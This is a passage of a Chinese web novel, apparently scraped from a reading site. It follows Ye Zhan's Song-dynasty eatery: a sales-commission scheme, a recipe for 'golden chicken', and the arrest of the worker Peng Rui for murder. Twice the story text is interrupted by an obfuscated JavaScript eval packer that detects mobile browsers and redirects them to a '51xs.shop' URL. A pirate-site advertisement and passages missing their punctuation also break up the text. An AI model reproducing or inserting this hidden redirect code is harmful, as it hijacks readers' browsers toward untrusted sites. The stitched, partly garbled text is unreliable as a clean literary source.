她现在食肆要扩张,即使有蓬蕊做帮手,可蛋糕水作坊和娘子们代售这两块仍旧需要玉姐儿帮忙。而且以后还要开分店,玉姐儿就不能再单纯做一个副手,还要有经营者的能力。 只有她尽快成长起来,才能将更多的经营业务交到她手里。 玉姐儿吸了口气,没想到她要承担这么多,却还是点点头:“好。” 玉姐儿待这件事是真的上心,先给娘子们造册,如今这些娘子们一传十十传百,都愿意来叶家食肆帮卖,每天都有新人来认门。 玉姐儿便认真检查新人的卫生情况,提醒她不能半路上打开扣好的食盒,不许碰给客人们送的饭菜,否则一旦有落灰或是被客人投诉说饭菜脏污了拉肚子等情况,经过查明不是店铺的原因,就不会再次和这位娘子合作。 娘子们有人笑:“咱们是专门做这个的,哪里会自砸招牌?”,有人胸膛拍得震天响“保管不出错。” 可是不管他们什么反应,玉姐儿都沉着脸,很是严肃的样子。 这下那些嬉闹的娘子们噤声了。她们出入叶家食肆多日,跟玉姐儿也算熟悉,常常见到她是抱着一碗陈皮红豆沙喝得一脸享受,或是笑眯眯跟店里的人打招呼,哪里见过她沉着脸的模样? 有人在心里嘀咕:原先还纳闷玉姐儿与叶盏虽是双生儿却不像呢,如今看来两人还真是有相似之处。 因此都把那轻慢之心收起来。 玉姐儿便像模作样环视一周,回忆着叶盏在外面与人商谈事情的神气,语气和蔼但又不失认真:“这回我们店里拿出了新的章法。 说罢便将店里的新法子一一道来。 那些娘子们自己算了算,顿时大喜:“这可是好办法。 "有了这个法子,我们还不得一心只推你家的菜式?" 玉姐儿赶紧摆摆手,不骄不躁:“我们店里的菜每人每天只多奖励三十单,诸位也不用超过这个数目。 这还是妹妹提出的建议,她说木秀于林风必摧之,若是满城的娘子们都只主推叶家食肆的食物,肯定会动了其他酒楼食肆的好处,到时候会被它们联手对付,不如低调行事。 定个三十份正好,那些上好的酒楼每日里每人至少能被推上百份,叶家区区三十份藏身众多食肆间,所谓闷声发大财。 那些娘子们一听也行,三十份也能赚不少呢,各个喜笑颜开。 玉姐儿说定了方案之后便继续在册页上登记:“就从今日开始实行,诸位每人拿走寄售的菜品都要跟我登记造册,等晚上再核对,当场算钱。 那些娘子们固然爱说笑,可也明白这是稳赚不赔的买卖,于是各个开口表决心:“叶大姐放心,我们一定好好卖。 等晚上回来时,各个排好队等着玉姐儿核对,玉姐儿也大方,直接将钱篓子搬了来,当着她们的面现场算奖励。 铜钱叮当作响,铜钱特有的气味在鼻尖萦绕,这谁不心动?赚钱多的销冠高兴得得意洋洋数钱,没有得到奖励的在心里暗暗发誓,明天一定要好好兜售。 叶家食肆这套奖励法子很快就在娘子们中间流行开来,谁不想这样的奖励方式呢? 本来她们兜售饭菜是赚一点差价,叶家还能额外得到奖励,而且如今更是翻倍奖励,卖谁家的菜不是卖? 再说叶家主事的是玉姐儿,天生笑眯眯有亲和力,最多就是严格些,但对比旁的食肆里管事的都是男子,顿时优越了许多:谁愿意跟男管事共事啊?喜欢摆个官架子,动辄说教,更有甚者还有那等贼眉鼠眼老往女人身上瞧 的。 因此一来二去那些娘子们都喜欢往叶家跑。 不过她们也很遗憾:“你家怎么就限制了三十份呢?还有嫌钱多的?” “若是没这限制,我每天只拎着竹篮子只卖你家的小菜。” 玉姐儿笑而不语,敷衍过去,并不把叶盏扮猪吃老虎的那套道理说出去。 叶盏盘了盘这几天营业额的快速增长,不由得佩服玉姐儿:如此一来,就相当于店里忽然多了几十上百个销售。 而且这些销售还都不用食肆出钱养,对应到现代就是没有保底工资,只用给他们提成就好。没有财务负担只有无穷无尽的提成。 这样食肆的销售额能不好才怪呢? 只不过这样一来叶盏的工作量也变大了,菜式中增加了许多卤味和凉菜,确保能在送到客户餐桌上还能不变滋味。 先做一个炸溜荔枝肉,想想再加一个黄金鸡。 黄金鸡是如今汴京城里流行的一道菜式①,宋人很喜欢用这种方子吃鸡。 水煮鸡时加入麻油和盐、葱、花椒。等快熟时浸泡,随后切开两半,用鸡原汁浇一遍。 这个方子有点像后世广州的白斩鸡。因此叶盏又改良了一遍。 叶盏边做黄金鸡边给玉姐儿和蓬蕊两人讲解:“这方子我改良过,一是会用吊在井上空的凉开水浸泡,让鸡皮猛地受凉收缩,再就是出锅后会用刀背打鸡皮,让鸡肉更紧致。再就是蘸料。” 蓬蕊没看懂:“为什么要凉开水浸泡?为什么又要吊在井水上头?不能直接取用井水么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508777|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她平日里虽然沉默寡言,但涉及正事时却健谈。 “是因为井水是生水,直接浸泡鸡肉恐怕让人生病。”叶盏回答,建国后才大范围推广开水,现在的古人根本不忌讳生水,但其实这种方式很危险,特别古代没有抗生素,拉肚子也能致死,因此她坚决不用生水。 “至于吊在井水上空,是因为要借助井水里凉意。”叶盏回答。在后世用冰块水浸泡就好,可是她手里没有第二种浸泡办法,只能用这种办法。 现在倒有冰块,但现代的取冰方式时冬天寒冷时去河流里凿冰,整块取用,用牛车拉进地窖,随后再由小贩分成小块四处出售,至少她所在平民阶层所用的冰块是用这种方式取冰 的。 而且冰块堆放在地窖里,就算是冬天冻结的凉白开,从冬天放到春天,也不干净了。 所以叶盏也只把冰块用作降温保鲜,绝对不让它们接触到食物本身。 蘸料用生姜香葱捣碎,放入鸡油一起煸炒,熟了后倒入鸡汤,再加点盐和浅色酱油调味,再用勺子舀进小碟子里。 玉姐儿已经迫不及待了:“看着就好吃啊。 这道黄金鸡三种颜色:鸡皮金黄,鸡肉玉白色,鸡骨带点红。 旁边的蘸料则是姜黄色的生姜末和淡绿色小葱末,上面浮着一点点鸡油。 整道菜看着颜色很和谐。 叶盏便给玉姐儿又盛了一份:“你先试试菜。 玉姐儿迫不及待就开始吃鸡肉:金黄的鸡皮亮闪闪反射着光泽,送进嘴里后果然好吃。 鸡皮呈现出发硬的口感,很有嚼劲,很是紧致,可是吃进去后肉质却很软, 内里的油脂丰腴,里头的鸡原汁流了满口,浓香馥郁, “鸡肉不算太熟,却更有味。玉姐儿如今跟着叶盏厨艺也有了长进,遇到美食时不再简单点评好吃,而是能看明白里面滋味的微妙不同。 叶盏赞许点点头:“对,这道菜不能炖煮太久。 她做黄金鸡时候并没有煮过头,而是慢慢炖煮,这样一来整体肉质并不烂,而是非常紧致弹牙。 玉姐儿回味着黄金鸡的香味:“这道菜我和蓬蕊都可以学,学会了砍成块,一会就能出一盆,这样娘子们来取食材时只要取走盘子就好。 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) 蓬蕊也点点头:“我也看会了,现在就能做出来。 叶盏便将位置让给她俩:“你们先试试,我看看有没有什么问题。 玉姐儿和蓬蕊便系上围裙,拿着鸡肉开始操作。 谁知拎着鸡块才送进锅里,就见一伙气势汹汹的衙差冲进叶家食肆里,为首那个掏出腰牌咄咄逼人:“哪个是蓬氏? 蓬蕊惊愕,面色苍白:“我是,不知诸位? 回答她的是一声厉声斥责:“捉拿归案! 作者有话要说 黄金鸡①:《山家清供》。 第 67 章 冰雪荔枝凉饮子 第67章冰雪荔枝凉饮子 那人可不管玉姐儿拦着,挥挥手,如狼似虎的手下就将蓬蕊团团围住,反剪了双手就捆成了一团。 叶盏赶紧向前,笑着端起一壶:“诸位差爷,横竖公务办完了,先坐下喝口凉饮子。” 那些人狐疑瞧了叶盏一眼。 叶盏笑眯眯倾壶倒了一杯茶:“我是这食肆老板,雇佣了这位蓬氏,诸位登门蓬荜生辉,想结个善缘,不知还来不来得及喝一杯冰雪荔枝凉饮子?” 杯中冷饮沁着凉意,杯壁爬着细细碎碎的水珠,甜丝丝的蜂蜜香气四溢,杯中沉浮着雪白的剥了壳的荔枝。寻常食肆里这道甜饮里只有个荔枝的名号,叶盏店里却是货真价实买了荔枝进去,里头的蜂蜜也是大价钱从岭南买的荔枝蜜,因此荔枝香气浓厚。 那原本耀武扬威的衙差看了看荔枝凉饮,这话也软和了几句:“既如此,兄弟们就坐下喝几杯吧。”这娘子既然是老板,那没必要包庇犯人。 想必是小生意人陡然见官府上门抓人,心中惶恐不安,想询问事端。再说蓬蕊就在他眼前,一个小妇人在眼皮子下盯着,也翻不出什么花来。于是他挑了张凳子,随意坐下。 叶盏使了个眼色给玉姐儿,玉姐儿立刻心领神会,给几位衙差倒上茶饮,一边装作好奇问道:“不知诸位何事叨扰过来,会不会牵连我们店里啊?” 果然与自己猜测的差不多,小生意人是谨慎打听是否与自家有关。打头的衙差松了口气,喝了一口荔枝饮:“是她个人犯事,与你们无关。” 蓬蕊周围一圈都是衙差,虽然没被抓护住,但毕竟插翅难飞。 玉姐儿与叶盏对视一眼,叶盏立刻跟进:“蓬氏是我们店里伙计,平日里话都不多说半句,镇日里在店里出入,瞧不出来啊,居然是个江洋大盗?” 她故意语气讶异、动作夸张,回忆着往日里宓凤娘那浮夸的手势开始表演,一副很是八卦的样子。 果然衙差信了大半,摆摆手:“什么江洋大盗,她呀,是犯了命案。” “命案?”叶盏嘴巴长得老大,"那可是深藏不漏啊,平日里她在店里连个鸡都不敢杀,原来是装出来躲懒不成?" “杀的谁啊?”玉姐儿缩缩 脖子“我昨天还因为她没洗碗训斥她原来是差点躲过一命?” 姐俩一唱一和衙差戒心全无再喝一口饮子。 冰凉的饮子微微发甜却不是过腻的让人越喝越渴的那种甜而是清清爽爽的清甜喝着满口生津。 他便打开了话茬:“干我们这行的见多了 “丈夫?”蓬蕊剧烈反抗起来她双手扭动努力抬起头来“我与那厮早就毫无瓜葛怎么会杀他?” “是啊那裁缝铺二掌柜早就把她赶出来走投无路才来我食肆里做工怎么又跟他有关?莫不是弄错了吧大人?”叶盏笑眯眯又续了一杯茶。 那衙差却不喝了:“这杯喝完就该走了。” 见他要走玉姐儿发急他们呼呼喝喝将蓬蕊带去万一出了事怎么办? 叶盏快步走到柜台前从钱匣子里抽出个荷包递过去:“也不知诸位是哪家衙门?她好歹也在我家兢兢业业这么久欠人家的工钱我到时候去牢里结清给她。” 那衙差掂了掂荷包听着里头银钱撞击声沉沉的倒面露意外之色:“咱们这多年抓人忙不迭撇清的比比皆是可这愿意上揽着探望犯人的却少也算店家你仁义。咱是开封府司理院。” 原来是开封府。叶盏了然汴京共有五座监牢分属不同部门既然对方说是开封府那去开封府监狱也能探望到蓬蕊。 “那大人我们可以去什么地方替她洗清冤屈?”叶盏抓紧时间询问。 那衙差虽然看出叶盏姐妹两人意图不轨但这回倒没说什么:“咱们是巡尉只按章抓人要判案那有的是判官大人。” 说完后就将茶盏将桌上一放不顾玉姐儿的阻拦命令手下捉拿了蓬蕊就往外走。 叶盏慌乱中只来得及趁乱将手上的银戒指塞到蓬蕊手里:“莫要心焦我们必会来救你的。” 蓬蕊在店里期间行事诚恳她说自己没杀人那就多半没杀人。 再者每次她提起前夫也只有惟愿一别两宽的言论并无咬牙切齿的仇恨叶盏觉得她很难忽然暴起杀人。 眼看着蓬蕊离开叶盏还惦记 着叫隔壁在玩的小童偷偷跟过去瞧他们是不是正经拉到了开封府。 蓬蕊被拉走店里谁都没有心思再做菜叶盏索性托人捎话去请青娘子来代为看店 这一打听才知道原来宋朝的律法是这么规定的知州收到州院与司理院两院的办案申请会加以批复应当被逮捕、刑讯、上刑具的类型就会发牒文巡检司收到牒文后才能追捕。① 叶盏仔细回忆:“当初抓人时候也没有出示过什么公文啊?”全靠衙差口述。 “那怎得将蓬蕊抓走了?”玉姐儿急得直搓手“都怪我们没有事先要官府出示公文。” 叶盏叹口气她也没想到宋代能这么文明啊居然也可以现场要求对方出示批函所以才疏漏了让他们就这么抓走了蓬蕊。 讼师沉吟:“但也有先抓人的情况:若是事涉机速可以先抓人不过后续仍旧要补上公文流程。” 杜月娘也跟着发急:“既如此有什么法子可以将人救出来?” 讼师们也很是为难:"这个容我们打听打听。" 叶盏大概明白了这里面恐怕有什么灰色空间便郑重冲他们承诺:“其中有什么花费尽管包在我身上。” 从讼师哪里出来沈娥安慰姐妹俩:“这讼师熟悉牢狱中诸事也精通律法蓬蕊的事情定然会有转圜。” 杜月娘也安慰两人:“那蓬蕊性子厚道又实诚这样的人不会杀人的只要是无辜的必然会水落石出。” 姐妹俩回到了店门这时候派出去跟踪衙差的孩童们也回来了说眼见着蓬蕊被抓进了开封府监牢。 叶盏微微松了口气如此一来至少说明了不是被人冒充抓走。她进店里打算从柜台掏出一把松子糖递给孩童们。 等进了店门却见裴昭一人坐在空荡荡的大堂里见她过来才问:“今日可是遇到什么意外?” 青娘子在旁边擦桌子:“这位客人一直在等着你们。”那天天黑她没看清裴昭的脸居然没将他与那晚那个客人对上号。 裴昭晚上来店家时就见店门口挂着大大几个字“今日店家有事外出。”他没有离开而是跟青娘子打听了缘由知道叶盏神色匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508778|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去了担心 她出了什么意外,便坐在店里等她回来。 叶盏感激冲他点点头,将蓬蕊的事情一一告知了他。 “裴大人,我们没见到逮捕的公文,是不是代表她是被误抓的?叶盏还存有一点侥幸心理。 “一般州府都是知州来批补,但开封府与旁地不同,开封府的最高长官权知府几乎权利比拟宰相,所以都由推判官来出批文,最后由权知府统一日子来批复。裴昭耐心解答着这里面的缘由,"是以不能因为文书就推断她是误抓的。" 见叶盏神色又黯淡,裴昭赶紧补充:“官府讲究禁系必审,饥寒必究,疑似必辩。一般不会轻易冤枉好人,也不大容易出冤假错案。 原来宋代牢狱还有人性化的一面,但叶盏还是不大放心。 裴昭看叶盏始终肩头紧绷,又想了想:“诸道巡检捕盗使臣不能自行拷讯,她进去之后不会受到拷打,过两天就能通知家人去送钱送粮了。 听说不会挨打,叶盏才松了半口气:“说是通知家人,她那家人有跟没有一个样,说不定还会落井下石,到时候我派个小童在门口打听,提前给她送去便是。 玉姐儿便急着去给张罗钱物:“监牢里要吃饭、要歇息,诸多物件都得齐全。 她念念叨叨去请青娘子帮忙筹备东西:“如今虽然是夏日,可进了监牢睡在地面,早晚肯定有潮气,还得有厚被子,还有防虫的防蚊的,再者要不要带点扎实的吃食啊?揉了猪油糖的死面饼您觉得如何…… 她俩去了旁边,叶盏才跟裴昭探讨了几句案情:“我知道蓬蕊的前夫,是裁缝铺的二掌柜,据说他肥胖异常,个头也比蓬蕊高,这样的人,蓬蕊怎么可能杀死? “再就是听说蓬蕊前夫勾搭了小寡妇生了个大胖小子,都说自古奸情出人命,或许是旁人干得呢。 “因着娘家人不支持,蓬蕊与那二掌柜一直没有办和离,但蓬蕊的确被赶出了家门,没有嫁妆。已经许久不与那家联系,又如何想起去杀人呢? 裴昭认真倾听她说的每句话,替她出主意:“这些事你都写好给讼师,再找好邻居、店里客人等证人,证明以上,再证明蓬蕊在案发时并未出现在现场,或许能帮她大忙。 两人正聊着,外头大斧和鸣镝两人进来:“少爷,菜买来了。 说完就从手里卸下食盒。 玉姐儿先纳闷:“怎得又买了吃食? 青娘子看着食盒里饭菜飘香,小声与玉姐儿低语:“奇了怪了,坐在食肆里还从外面索唤,莫非是客人是觉得我们食肆的食物不好吃要砸场子?特意消遣我们? 裴昭见店里几人纳闷,便开口:“我想着你们今天定没有心思做饭,就自作主张先定了一家蝴蝶齑疙瘩。 作者有话要说 今晚还有一更 ①《庆元条法事类》“郡之狱事,则有两院治狱之官,若某当追,若某当讯,若某当被五木(指刑具),率具检以禀郡守,曰可则行。 ②《庆元条法事类》“诸奉使用所追摄,虽被制,皆报所属官司,不得直行收捕。事涉机速,听先捕获,仍取所属公文发遣。 ③宋代胡太初《昼帘绪论》:禁系必审,饥寒必究,疑似必辩。 第 68 章 蝴蝶齑疙瘩